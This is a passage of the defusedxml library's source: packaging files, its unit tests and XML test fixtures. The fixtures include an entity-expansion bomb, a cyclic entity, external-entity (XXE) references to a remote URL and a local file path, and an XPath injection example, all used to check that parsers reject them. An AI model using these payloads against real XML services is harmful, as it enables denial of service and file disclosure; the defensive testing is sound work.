#puts data.length
puts data


================================================
FILE: pyproject.toml
================================================
[tool.black]
line-length = 98
target-version = ['py36', 'py37', 'py38']


================================================
FILE: setup.cfg
================================================
[bdist_wheel]
universal = 1

[aliases]
packages = clean --all egg_info bdist_wheel sdist --format=gztar
release = packages register upload


================================================
FILE: setup.py
================================================
#!/usr/bin/env python
import sys
from distutils.core import Command
import subprocess

from setuptools import setup

import defusedxml


class PyTest(Command):
    user_options = []

    def initialize_options(self):
        pass

    def finalize_options(self):
        pass

    def run(self):
        errno = subprocess.call([sys.executable, "tests.py"])
        raise SystemExit(errno)


long_description = []
with open("README.txt") as f:
    long_description.append(f.read())
with open("CHANGES.txt") as f:
    long_description.append(f.read())


setup(
    name="defusedxml",
    version=defusedxml.__version__,
    cmdclass={"test": PyTest},
    packages=["defusedxml"],
    author="Christian Heimes",
    author_email="christian@python.org",
    maintainer="Christian Heimes",
    maintainer_email="christian@python.org",
    url="https://github.com/tiran/defusedxml",
    download_url="https://pypi.python.org/pypi/defusedxml",
    keywords="xml bomb DoS",
    platforms="all",
    license="PSFL",
    description="XML bomb protection for Python stdlib modules",
    long_description="\n".join(long_description),
    long_description_content_type="text/x-rst",
    classifiers=[
        "Development Status :: 6 - Mature",
        "Intended Audience :: Developers",
        "License :: OSI Approved :: Python Software Foundation License",
        "Natural Language :: English",
        "Programming Language :: Python",
        "Programming Language :: Python :: 3",
        "Programming Language :: Python :: 3.6",
        "Programming Language :: Python :: 3.7",
        "Programming Language :: Python :: 3.8",
        "Programming Language :: Python :: 3.9",
        "Programming Language :: Python :: 3.10",
        "Programming Language :: Python :: 3.11",
        "Programming Language :: Python :: 3.12",
        "Topic :: Text Processing :: Markup :: XML",
    ],
    python_requires=">=3.6",
)


================================================
FILE: tests.py
================================================
from __future__ import print_function

import io
import os
import sys
import unittest
import warnings
from unittest import mock

from xml.etree import ElementTree as orig_elementtree
from xml.etree.ElementTree import Element as ElementBeforeImport
from xml.sax.saxutils import XMLGenerator
from xml.sax import SAXParseException
from pyexpat import ExpatError

from defusedxml import ElementTree, minidom, pulldom, sax, xmlrpc, expatreader
from defusedxml import defuse_stdlib
from defusedxml import (
    DTDForbidden,
    EntitiesForbidden,
    ExternalReferenceForbidden,
    NotSupportedError,
)

from xml.etree.ElementTree import Element as ElementAfterImport

if sys.version_info < (3, 7):
    warnings.filterwarnings("once", category=DeprecationWarning)


with warnings.catch_warnings(record=True) as cetree_warnings:
    from defusedxml import cElementTree


try:
    import gzip
except ImportError:
    gzip = None


try:
    with warnings.catch_warnings(record=True) as lxml_warnings:
        from defusedxml import lxml
    from lxml import etree as lxml_etree

    LXML3 = lxml.LXML3
except ImportError:
    lxml = None
    lxml_etree = None
    LXML3 = False
    lxml_warnings = None


warnings.filterwarnings("always", category=DeprecationWarning, module=r"defusedxml\..*")


HERE = os.path.dirname(os.path.abspath(__file__))

# prevent web access
# based on Debian's rules, Port 9 is discard
os.environ["http_proxy"] = "http://127.0.9.1:9"
os.environ["https_proxy"] = os.environ["http_proxy"]
os.environ["ftp_proxy"] = os.environ["http_proxy"]


class DefusedTestCase(unittest.TestCase):
    content_binary = False

    xml_dtd = os.path.join(HERE, "xmltestdata", "dtd.xml")
    xml_external = os.path.join(HERE, "xmltestdata", "external.xml")
    xml_external_file = os.path.join(HERE, "xmltestdata", "external_file.xml")
    xml_quadratic = os.path.join(HERE, "xmltestdata", "quadratic.xml")
    xml_simple = os.path.join(HERE, "xmltestdata", "simple.xml")
    xml_simple_ns = os.path.join(HERE, "xmltestdata", "simple-ns.xml")
    xml_bomb = os.path.join(HERE, "xmltestdata", "xmlbomb.xml")
    xml_bomb2 = os.path.join(HERE, "xmltestdata", "xmlbomb2.xml")
    xml_cyclic = os.path.join(HERE, "xmltestdata", "cyclic.xml")
    xml_dtd_element = os.path.join(HERE, "xmltestdata", "dtd_element.xml")
    xml_schema_include = os.path.join(HERE, "xmltestdata", "schema-include.xsd")

    def get_content(self, xmlfile):
        mode = "rb" if self.content_binary else "r"
        with io.open(xmlfile, mode) as f:
            data = f.read()
        return data


class BaseTests(DefusedTestCase):
    module = None
    dtd_external_ref = False

    external_ref_exception = ExternalReferenceForbidden
    cyclic_error = None
    iterparse = None

    def test_simple_parse(self):
        self.parse(self.xml_simple)
        self.parseString(self.get_content(self.xml_simple))
        if self.iterparse:
            self.iterparse(self.xml_simple)

    def test_simple_parse_ns(self):
        self.parse(self.xml_simple_ns)
        self.parseString(self.get_content(self.xml_simple_ns))
        if self.iterparse:
            self.iterparse(self.xml_simple_ns)

    def test_entities_forbidden(self):
        self.assertRaises(EntitiesForbidden, self.parse, self.xml_bomb)
        self.assertRaises(EntitiesForbidden, self.parse, self.xml_quadratic)
        self.assertRaises(EntitiesForbidden, self.parse, self.xml_external)

        self.assertRaises(EntitiesForbidden, self.parseString, self.get_content(self.xml_bomb))
        self.assertRaises(
            EntitiesForbidden, self.parseString, self.get_content(self.xml_quadratic)
        )
        self.assertRaises(
            EntitiesForbidden, self.parseString, self.get_content(self.xml_external)
        )

        if self.iterparse:
            self.assertRaises(EntitiesForbidden, self.iterparse, self.xml_bomb)
            self.assertRaises(EntitiesForbidden, self.iterparse, self.xml_quadratic)
            self.assertRaises(EntitiesForbidden, self.iterparse, self.xml_external)

    def test_entity_cycle(self):
        self.assertRaises(self.cyclic_error, self.parse, self.xml_cyclic, forbid_entities=False)

    def test_dtd_forbidden(self):
        self.assertRaises(DTDForbidden, self.parse, self.xml_bomb, forbid_dtd=True)
        self.assertRaises(DTDForbidden, self.parse, self.xml_quadratic, forbid_dtd=True)
        self.assertRaises(DTDForbidden, self.parse, self.xml_external, forbid_dtd=True)
        self.assertRaises(DTDForbidden, self.parse, self.xml_dtd, forbid_dtd=True)

        self.assertRaises(
            DTDForbidden, self.parseString, self.get_content(self.xml_bomb), forbid_dtd=True
        )
        self.assertRaises(
            DTDForbidden, self.parseString, self.get_content(self.xml_quadratic), forbid_dtd=True
        )
        self.assertRaises(
            DTDForbidden, self.parseString, self.get_content(self.xml_external), forbid_dtd=True
        )
        self.assertRaises(
            DTDForbidden, self.parseString, self.get_content(self.xml_dtd), forbid_dtd=True
        )

        if self.iterparse:
            self.assertRaises(DTDForbidden, self.iterparse, self.xml_bomb, forbid_dtd=True)
            self.assertRaises(DTDForbidden, self.iterparse, self.xml_quadratic, forbid_dtd=True)
            self.assertRaises(DTDForbidden, self.iterparse, self.xml_external, forbid_dtd=True)
            self.assertRaises(DTDForbidden, self.iterparse, self.xml_dtd, forbid_dtd=True)

    def test_dtd_with_external_ref(self):
        if self.dtd_external_ref:
            self.assertRaises(self.external_ref_exception, self.parse, self.xml_dtd)
        else:
            self.parse(self.xml_dtd)

    def test_external_ref(self):
        self.assertRaises(
            self.external_ref_exception, self.parse, self.xml_external, forbid_entities=False
        )

    def test_external_file_ref(self):
        content = self.get_content(self.xml_external_file)
        if isinstance(content, bytes):
            here = HERE.encode(sys.getfilesystemencoding())
            content = content.replace(b"/PATH/TO", here)
        else:
            content = content.replace("/PATH/TO", HERE)
        self.assertRaises(
            self.external_ref_exception, self.parseString, content, forbid_entities=False
        )

    def test_allow_expansion(self):
        self.parse(self.xml_bomb2, forbid_entities=False)
        self.parseString(self.get_content(self.xml_bomb2), forbid_entities=False)

    def test_dtd_element(self):
        self.parse(self.xml_dtd_element)


class TestDefusedElementTree(BaseTests):
    module = ElementTree

    # etree doesn't do external ref lookup
    # external_ref_exception = ElementTree.ParseError

    cyclic_error = ElementTree.ParseError

    def parse(self, xmlfile, **kwargs):
        tree = self.module.parse(xmlfile, **kwargs)
        return self.module.tostring(tree.getroot())

    def parseString(self, xmlstring, **kwargs):
        tree = self.module.fromstring(xmlstring, **kwargs)
        return self.module.tostring(tree)

    def parseStringList(self, sequence, **kwargs):
        tree = self.module.fromstringlist(sequence, **kwargs)
        return self.module.tostring(tree)

    def iterparse(self, source, **kwargs):
        return list(self.module.iterparse(source, **kwargs))

    def test_html_arg(self):
        with warnings.catch_warnings(record=True) as w:
            self.module.XMLParse(html=0)
        self.assertEqual(len(w), 1)
        self.assertIs(w[0].category, DeprecationWarning)
        with self.assertRaises(TypeError):
            self.module.XMLParse(html=1)

    def test_aliases(self):
        parser = self.module.DefusedXMLParser
        assert self.module.XMLTreeBuilder is parser
        assert self.module.XMLParser is parser
        assert self.module.XMLParse is parser

    def test_fromstringlist(self):
        seq = ["<root>", '<tag id="one" />', '<tag id="two" />', "</root>"]
        tree = self.module.fromstringlist(seq)
        result = self.module.tostring(tree)
        self.assertEqual(result, "".join(seq).encode("utf-8"))

    def test_import_order(self):
        from xml.etree import ElementTree as second_elementtree

        self.assertIs(orig_elementtree, second_elementtree)

    def test_orig_parseerror(self):
        # https://github.com/tiran/defusedxml/issues/63
        self.assertIs(self.module.ParseError, orig_elementtree.ParseError)
        try:
            self.parseString("invalid")
        except Exception as e:
            self.assertIsInstance(e, orig_elementtree.ParseError)
            self.assertIsInstance(e, self.module.ParseError)

    def test_etree_element(self):
        tree = tree = self.module.parse(self.xml_simple)
        root = tree.getroot()
        root.append(orig_elementtree.Element("module-import"))
        root.append(ElementBeforeImport("before-import"))
        root.append(ElementAfterImport("after-import"))
        s = orig_elementtree.tostring(root)
        self.assertEqual(s.count(b"import"), 3, s)


class TestDefusedcElementTree(TestDefusedElementTree):
    module = cElementTree

    def test_celementtree_warnings(self):
        self.assertTrue(cetree_warnings)
        self.assertEqual(cetree_warnings[0].category, DeprecationWarning)
        self.assertIn("tests.py", cetree_warnings[0].filename)


class TestDefusedMinidom(BaseTests):
    module = minidom

    cyclic_error = ExpatError

    iterparse = None

    def parse(self, xmlfile, **kwargs):
        doc = self.module.parse(xmlfile, **kwargs)
        return doc.toxml()

    def parseString(self, xmlstring, **kwargs):
        doc = self.module.parseString(xmlstring, **kwargs)
        return doc.toxml()


class TestDefusedMinidomWithParser(TestDefusedMinidom):
    cyclic_error = SAXParseException
    dtd_external_ref = True

    def parse(self, xmlfile, **kwargs):
        doc = self.module.parse(xmlfile, parser=expatreader.create_parser(**kwargs), **kwargs)
        return doc.toxml()

    def parseString(self, xmlstring, **kwargs):
        doc = self.module.parseString(
            xmlstring, parser=expatreader.create_parser(**kwargs), **kwargs
        )
        return doc.toxml()


class TestDefusedPulldom(BaseTests):
    module = pulldom

    cyclic_error = SAXParseException

    dtd_external_ref = True

    def parse(self, xmlfile, **kwargs):
        events = self.module.parse(xmlfile, **kwargs)
        return list(events)

    def parseString(self, xmlstring, **kwargs):
        events = self.module.parseString(xmlstring, **kwargs)
        return list(events)


class TestDefusedSax(BaseTests):
    module = sax

    cyclic_error = SAXParseException

    content_binary = True
    dtd_external_ref = True

    def parse(self, xmlfile, **kwargs):
        with io.StringIO() as result:
            handler = XMLGenerator(result)
            self.module.parse(xmlfile, handler, **kwargs)
            return result.getvalue()

    def parseString(self, xmlstring, **kwargs):
        with io.StringIO() as result:
            handler = XMLGenerator(result)
            self.module.parseString(xmlstring, handler, **kwargs)
            return result.getvalue()

    def test_exceptions(self):
        with self.assertRaises(EntitiesForbidden) as ctx:
            self.parse(self.xml_bomb)
        msg = "EntitiesForbidden(name='a', system_id=None, public_id=None)"
        self.assertEqual(str(ctx.exception), msg)
        self.assertEqual(repr(ctx.exception), msg)

        with self.assertRaises(ExternalReferenceForbidden) as ctx:
            self.parse(self.xml_external, forbid_entities=False)
        msg = (
            "ExternalReferenceForbidden"
            "(system_id='http://www.w3schools.com/xml/note.xml', public_id=None)"
        )
        self.assertEqual(str(ctx.exception), msg)
        self.assertEqual(repr(ctx.exception), msg)

        with self.assertRaises(DTDForbidden) as ctx:
            self.parse(self.xml_bomb, forbid_dtd=True)
        msg = "DTDForbidden(name='xmlbomb', system_id=None, public_id=None)"
        self.assertEqual(str(ctx.exception), msg)
        self.assertEqual(repr(ctx.exception), msg)


@unittest.skipUnless(lxml is not None, "test requires lxml")
class TestDefusedLxml(BaseTests):
    module = lxml

    cyclic_error = getattr(lxml_etree, "XMLSyntaxError", None)

    content_binary = True

    def parse(self, xmlfile, **kwargs):
        try:
            tree = self.module.parse(xmlfile, **kwargs)
        except lxml_etree.XMLSyntaxError:
            self.skipTest("lxml detects entity reference loop")
        return self.module.tostring(tree)

    def parseString(self, xmlstring, **kwargs):
        try:
            tree = self.module.fromstring(xmlstring, **kwargs)
        except lxml_etree.XMLSyntaxError:
            self.skipTest("lxml detects entity reference loop")
        return self.module.tostring(tree)

    if not LXML3:

        def test_entities_forbidden(self):
            self.assertRaises(NotSupportedError, self.parse, self.xml_bomb)

        def test_dtd_with_external_ref(self):
            self.assertRaises(NotSupportedError, self.parse, self.xml_dtd)

    def test_external_ref(self):
        pass

    def test_external_file_ref(self):
        pass

    def test_restricted_element1(self):
        try:
            tree = self.module.parse(self.xml_bomb, forbid_dtd=False, forbid_entities=False)
        except lxml_etree.XMLSyntaxError:
            self.skipTest("lxml detects entityt reference loop")
        root = tree.getroot()
        self.assertEqual(root.text, None)

        self.assertEqual(list(root), [])
        self.assertEqual(root.getchildren(), [])
        self.assertEqual(list(root.iter()), [root])
        self.assertEqual(list(root.iterchildren()), [])
        self.assertEqual(list(root.iterdescendants()), [])
        self.assertEqual(list(root.itersiblings()), [])
        self.assertEqual(list(root.getiterator()), [root])
        self.assertEqual(root.getnext(), None)

    def test_restricted_element2(self):
        try:
            tree = self.module.parse(self.xml_bomb2, forbid_dtd=False, forbid_entities=False)
        except lxml_etree.XMLSyntaxError:
            self.skipTest("lxml detects entityt reference loop")
        root = tree.getroot()
        bomb, tag = root
        self.assertEqual(root.text, "text")

        self.assertEqual(list(root), [bomb, tag])
        self.assertEqual(root.getchildren(), [bomb, tag])
        self.assertEqual(list(root.iter()), [root, bomb, tag])
        self.assertEqual(list(root.iterchildren()), [bomb, tag])
        self.assertEqual(list(root.iterdescendants()), [bomb, tag])
        self.assertEqual(list(root.itersiblings()), [])
        self.assertEqual(list(root.getiterator()), [root, bomb, tag])
        self.assertEqual(root.getnext(), None)
        self.assertEqual(root.getprevious(), None)

        self.assertEqual(list(bomb.itersiblings()), [tag])
        self.assertEqual(bomb.getnext(), tag)
        self.assertEqual(bomb.getprevious(), None)
        self.assertEqual(tag.getnext(), None)
        self.assertEqual(tag.getprevious(), bomb)

    def test_xpath_injection(self):
        # show XPath injection vulnerability
        xml = """<root><tag id="one" /><tag id="two"/></root>"""
        expr = "one' or @id='two"
        root = lxml.fromstring(xml)

        # insecure way
        xp = "tag[@id='%s']" % expr
        elements = root.xpath(xp)
        self.assertEqual(len(elements), 2)
        self.assertEqual(elements, list(root))

        # proper and safe way
        xp = "tag[@id=$idname]"
        elements = root.xpath(xp, idname=expr)
        self.assertEqual(len(elements), 0)
        self.assertEqual(elements, [])

        elements = root.xpath(xp, idname="one")
        self.assertEqual(len(elements), 1)
        self.assertEqual(elements, list(root)[:1])

    def test_lxml_warnings(self):
        self.assertTrue(lxml_warnings)
        self.assertEqual(lxml_warnings[0].category, DeprecationWarning)
        self.assertIn("tests.py", lxml_warnings[0].filename)

    def test_lxml_schema_include(self):
        # attempt to trigger network ops and error
        with mock.patch.dict(os.environ):
            os.environ.pop("no_proxy", None)
            os.environ["http_proxy"] = "http://proxy.invalid:3128"
            os.environ["https_proxy"] = "http://proxy.invalid:3128"

            doc = self.module.fromstring("<root>true</root>")

            schema = lxml_etree.XMLSchema(file=self.xml_schema_include)
            schema.validate(doc)

            schema_etree = self.module.parse(self.xml_schema_include)
            lxml_etree.XMLSchema(etree=schema_etree)
            schema.validate(doc)


class XmlRpcTarget(object):
    def __init__(self):
        self._data = []

    def __str__(self):
        return "".join(self._data)

    def xml(self, encoding, standalone):
        pass

    def start(self, tag, attrs):
        self._data.append("<%s>" % tag)

    def data(self, text):
        self._data.append(text)

    def end(self, tag):
        self._data.append("</%s>" % tag)


class TestXmlRpc(DefusedTestCase):
    module = xmlrpc

    def parse(self, xmlfile, **kwargs):
        target = XmlRpcTarget()
        parser = self.module.DefusedExpatParser(target, **kwargs)
        data = self.get_content(xmlfile)
        parser.feed(data)
        parser.close()
        return target

    def parse_unpatched(self, xmlfile):
        target = XmlRpcTarget()
        parser = self.module.ExpatParser(target)
        data = self.get_content(xmlfile)
        parser.feed(data)
        parser.close()
        return target

    def test_xmlrpc(self):
        self.assertRaises(EntitiesForbidden, self.parse, self.xml_bomb)
        self.assertRaises(EntitiesForbidden, self.parse, self.xml_quadratic)
        self.parse(self.xml_dtd)
        self.assertRaises(DTDForbidden, self.parse, self.xml_dtd, forbid_dtd=True)

    # def test_xmlrpc_unpatched(self):
    #    for fname in (self.xml_external,  self.xml_dtd):
    #        print(self.parse_unpatched(fname))

    def test_monkeypatch(self):
        try:
            xmlrpc.monkey_patch()
        finally:
            xmlrpc.unmonkey_patch()


@unittest.skipUnless(gzip is not None, "test requires gzip")
class TestDefusedGzip(DefusedTestCase):
    def get_gzipped(self, length):
        f = io.BytesIO()
        self.addCleanup(f.close)
        gzf = gzip.GzipFile(mode="wb", fileobj=f)
        gzf.write(b"d" * length)
        gzf.close()
        f.seek(0)
        return f

    def decode_response(self, response, limit=None, readlength=1024):
        dec = xmlrpc.DefusedGzipDecodedResponse(response, limit)
        acc = []
        while True:
            data = dec.read(readlength)
            if not data:
                break
            acc.append(data)
        return b"".join(acc)

    def test_defused_gzip_decode(self):
        data = self.get_gzipped(4096).getvalue()
        result = xmlrpc.defused_gzip_decode(data)
        self.assertEqual(result, b"d" * 4096)
        result = xmlrpc.defused_gzip_decode(data, -1)
        self.assertEqual(result, b"d" * 4096)
        result = xmlrpc.defused_gzip_decode(data, 4096)
        self.assertEqual(result, b"d" * 4096)
        with self.assertRaises(ValueError):
            result = xmlrpc.defused_gzip_decode(data, 4095)
        with self.assertRaises(ValueError):
            result = xmlrpc.defused_gzip_decode(data, 0)

    def test_defused_gzip_response(self):
        clen = len(self.get_gzipped(4096).getvalue())

        response = self.get_gzipped(4096)
        data = self.decode_response(response)
        self.assertEqual(data, b"d" * 4096)

        with self.assertRaises(ValueError):
            response = self.get_gzipped(4096)
            xmlrpc.DefusedGzipDecodedResponse(response, clen - 1)

        with self.assertRaises(ValueError):
            response = self.get_gzipped(4096)
            self.decode_response(response, 4095)

        with self.assertRaises(ValueError):
            response = self.get_gzipped(4096)
            self.decode_response(response, 4095, 8192)


def test_main():
    suite = unittest.TestSuite()
    cls = [
        TestDefusedElementTree,
        TestDefusedcElementTree,
        TestDefusedMinidom,
        TestDefusedMinidomWithParser,
        TestDefusedPulldom,
        TestDefusedSax,
        TestDefusedLxml,
        TestXmlRpc,
        TestDefusedGzip,
    ]
    for c in cls:
        suite.addTest(unittest.defaultTestLoader.loadTestsFromTestCase(c))
    return suite


if __name__ == "__main__":
    suite = test_main()
    result = unittest.TextTestRunner(verbosity=1).run(suite)
    # TODO: test that it actually works
    defuse_stdlib()
    sys.exit(not result.wasSuccessful())


================================================
FILE: tox.ini
================================================
[tox]
envlist = {py36,py37,py38,py39,py310,py311,py312}-{lxml,nolxml},py313,pypy39,black,pep8py3,doc
skip_missing_interpreters = true

[testenv]
commands =
    {envpython} {toxinidir}/tests.py
deps =
    lxml: lxml

[testenv:black]
commands = black --check --verbose \
    {toxinidir}/setup.py \
    {toxinidir}/tests.py \
    {toxinidir}/defusedxml/
deps = black

[testenv:pep8py3]
basepython = python3
deps =
    flake8
commands =
    {envpython} -m flake8

[testenv:doc]
basepython = python3
deps =
    docutils
commands =
    python setup.py check --restructuredtext --metadata --strict

[pytest]
norecursedirs = build .tox
python_files = tests.py

[flake8]
exclude = .tox,*.egg,dist,build,other
show-source = true
ignore = E402, F811
max-line-length = 98

[gh-actions]
python =
    3.6: py36
    3.7: py37
    3.8: py38
    3.9: py39
    3.10: py310
    3.11: py311
    3.12: py312
    3.13: py313
    pypy-3.9: pypy39


================================================
FILE: void.css
================================================
/*
Stylesheet for Docutils.
Based on `blue_box.css` by Ian Bicking
and `voidspace.css` by Ian Bicking, Michael Foord
and `html4css1.css` 

*/

.borderless, table.borderless td, table.borderless th
{
	border: 0;
}
table.borderless td, table.borderless th
{
	padding: 0 0.5em 0 0 ! important;
}
.first
{
	margin-top: 0 ! important;
}
.last, .with-subtitle
{
	margin-bottom: 0 ! important;
}
.hidden
{
	display: none;
}
a.toc-backref
{
	color: black;
	text-decoration: none;
}
blockquote.epigraph
{
	margin: 2em 5em;
}
dl.docutils dd
{
	margin-bottom: 0.5em;
}
object[type="image/svg+xml"], object[type="application/x-shockwave-flash"]
{
	overflow: hidden;
}
div.abstract
{
	margin: 2em 5em;
}
div.abstract p.topic-title
{
	font-weight: bold;
	text-align: center;
}
div.admonition, div.attention, div.caution, div.danger, div.error,
div.hint, div.important, div.note, div.tip, div.warning
{
	border: medium outset;
	margin: 2em;
	padding: 1em;
}
div.admonition p.admonition-title, div.hint p.admonition-title,
div.important p.admonition-title, div.note p.admonition-title,
div.tip p.admonition-title
{
	font-family: sans-serif;
	font-weight: bold;
}
div.attention p.admonition-title, div.caution p.admonition-title,
div.danger p.admonition-title, div.error p.admonition-title,
div.warning p.admonition-title
{
	color: red;
	font-family: sans-serif;
	font-weight: bold;
}
div.dedication
{
	font-style: italic;
	margin: 2em 5em;
	text-align: center;
}
div.dedication p.topic-title
{
	font-style: normal;
	font-weight: bold;
}
div.figure
{
	margin-left: 2em;
	margin-right: 2em;
}
div.footer, div.header
{
	clear: both;
	font-size: smaller;
}
div.line-block
{
	display: block;
	margin-bottom: 1em;
	margin-top: 1em;
}
div.line-block div.line-block
{
	margin-bottom: 0;
	margin-left: 1.5em;
	margin-top: 0;
}
div.sidebar
{
	background-color: #ffffee;
	border: medium outset;
	clear: right;
	float: right;
	margin: 0 0 0.5em 1em;
	padding: 1em;
	width: 40%;
}
div.sidebar p.rubric
{
	font-family: sans-serif;
	font-size: medium;
}
div.system-messages
{
	margin: 5em;
}
div.system-messages h1
{
	color: red;
}
div.system-message
{
	border: medium outset;
	padding: 1em;
}
div.system-message p.system-message-title
{
	color: red;
	font-weight: bold;
}
div.topic
{
	margin: 2em;
}
h1.section-subtitle, h2.section-subtitle, h3.section-subtitle,
h4.section-subtitle, h5.section-subtitle, h6.section-subtitle
{
	margin-top: 0.4em;
}
h1.title
{
	text-align: center;
}
h2.subtitle
{
	text-align: center;
}
hr.docutils
{
	width: 75%;
}
img.align-left, .figure.align-left, object.align-left
{
	clear: left;
	float: left;
	margin-right: 1em;
}
img.align-right, .figure.align-right, object.align-right
{
	clear: right;
	float: right;
	margin-left: 1em;
}
img.align-center, .figure.align-center, object.align-center
{
	display: block;
	margin-left: auto;
	margin-right: auto;
}
.align-left
{
	text-align: left;
}
.align-center
{
	clear: both;
	text-align: center;
}
.align-right
{
	text-align: right;
}
div.align-right
{
	text-align: inherit;
}
ol.simple, ul.simple
{
	margin-bottom: 1em;
}
ol.arabic
{
	list-style: decimal;
}
ol.loweralpha
{
	list-style: lower-alpha;
}
ol.upperalpha
{
	list-style: upper-alpha;
}
ol.lowerroman
{
	list-style: lower-roman;
}
ol.upperroman
{
	list-style: upper-roman;
}
p.attribution
{
	margin-left: 50%;
	text-align: right;
}
p.caption
{
	font-style: italic;
}
p.credits
{
	font-size: smaller;
	font-style: italic;
}
p.label
{
	white-space: nowrap;
}
p.rubric
{
	color: maroon;
	font-size: larger;
	font-weight: bold;
	text-align: center;
}
p.sidebar-title
{
	font-family: sans-serif;
	font-size: larger;
	font-weight: bold;
}
p.sidebar-subtitle
{
	font-family: sans-serif;
	font-weight: bold;
}
p.topic-title
{
	font-weight: bold;
}
pre.address
{
	font: inherit;
	margin-bottom: 0;
	margin-top: 0;
}
pre.literal-block, pre.doctest-block, pre.math
{
	margin-left: 2em;
	margin-right: 2em;
	background-color: #eeeeee;

}
span.classifier
{
	font-family: sans-serif;
	font-style: oblique;
}
span.classifier-delimiter
{
	font-family: sans-serif;
	font-weight: bold;
}
span.interpreted
{
	font-family: sans-serif;
}
span.option
{
	white-space: nowrap;
}
span.pre
{
	white-space: pre;
}
span.problematic
{
	color: red;
}
span.section-subtitle
{
	font-size: 80%;
}
table.citation
{
	border-left: solid 1px gray;
	margin-left: 1px;
}
table.docinfo
{
	margin: 2em 4em;
}
table.docutils
{
	margin-bottom: 0.5em;
	margin-top: 0.5em;
}
table.footnote
{
	border-left: solid 1px black;
	margin-left: 1px;
}
table.docutils td, table.docutils th,
table.docinfo td, table.docinfo th
{
	padding-left: 0.5em;
	padding-right: 0.5em;
	vertical-align: top;
}
table.docutils th.field-name, table.docinfo th.docinfo-name
{
	font-weight: bold;
	padding-left: 0;
	text-align: left;
	white-space: nowrap;
}
h1 tt.docutils, h2 tt.docutils, h3 tt.docutils,
h4 tt.docutils, h5 tt.docutils, h6 tt.docutils
{
	font-size: 100%;
}
ul.auto-toc
{
	list-style-type: none;
}
body
{
	font-family: Arial, sans-serif;
	margin-left: auto;
	margin-right: auto;
	width: 800px;
}
em, i
{
	font-family: Times New Roman, Times, serif;
}
a.target
{
	color: blue;
}
a.target
{
	color: blue;
}
a.toc-backref
{
	color: black;
	text-decoration: none;
}
a.toc-backref:hover
{
	background-color: inherit;
}
a:hover
{
	background-color: #cccccc;
}
div.attention, div.caution, div.danger, div.error, div.hint,
div.important, div.note, div.tip, div.warning
{
	padding: 3px;
	width: 80%;
}
div.admonition p.admonition-title, div.hint p.admonition-title,
div.important p.admonition-title, div.note p.admonition-title,
div.tip p.admonition-title
{
	display: block;
	margin: 0;
	text-align: center;
}
div.attention p.admonition-title, div.caution p.admonition-title,
div.danger p.admonition-title, div.error p.admonition-title,
div.warning p.admonition-title
{
	display: block;
	font-family: sans-serif;
	margin: 0;
	text-align: center;
}
h1.title
{
	text-align: center;
}
table.footnote
{
	padding-left: 0.5ex;
}
table.citation
{
	padding-left: 0.5ex;
}
pre.literal-block, pre.doctest-block
{
	padding: 5px;
}
h1 tt, h2 tt, h3 tt, h4 tt, h5 tt, h6 tt
{
	font-size: 100%;
}
code, tt
{
	color: #000066;
}
p
{
	text-align: justify;
}
dt
{
	font-weight: bold;
}
tt.literal
{
	background-color: #eeeeee;
}
h1
{
	border-bottom: solid 1px black;
	padding-top: 20px;
}
caption
{
	margin-bottom: 0.4em;
	font-weight: bold;
	font-size: 120%;
}


================================================
FILE: xmltestdata/cyclic.xml
================================================
<!DOCTYPE xmlbomb [
<!ENTITY a "123 &b;" >
<!ENTITY b "&a;">
]>
<bomb>&a;</bomb>


================================================
FILE: xmltestdata/dtd.xml
================================================
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
  "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
    <head/>
    <body>text</body>
</html>



================================================
FILE: xmltestdata/dtd_element.xml
================================================
<?xml version="1.0"?>
<!DOCTYPE test [
 <!ELEMENT test (node)>
 <!ELEMENT node (#PCDATA)>
]>
<test>
 <node>A test</node>
</test>


================================================
FILE: xmltestdata/external.xml
================================================
<!DOCTYPE external [
<!ENTITY ee SYSTEM "http://www.w3schools.com/xml/note.xml">
]>
<root>&ee;</root>


================================================
FILE: xmltestdata/external_file.xml
================================================
<!DOCTYPE external [
<!ENTITY ee SYSTEM "file:///PATH/TO/xmltestdata/simple.xml">
]>
<root>&ee;</root>



================================================
FILE: xmltestdata/quadratic.xml
================================================
<!DOCTYPE bomb [
<!ENTITY a "BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB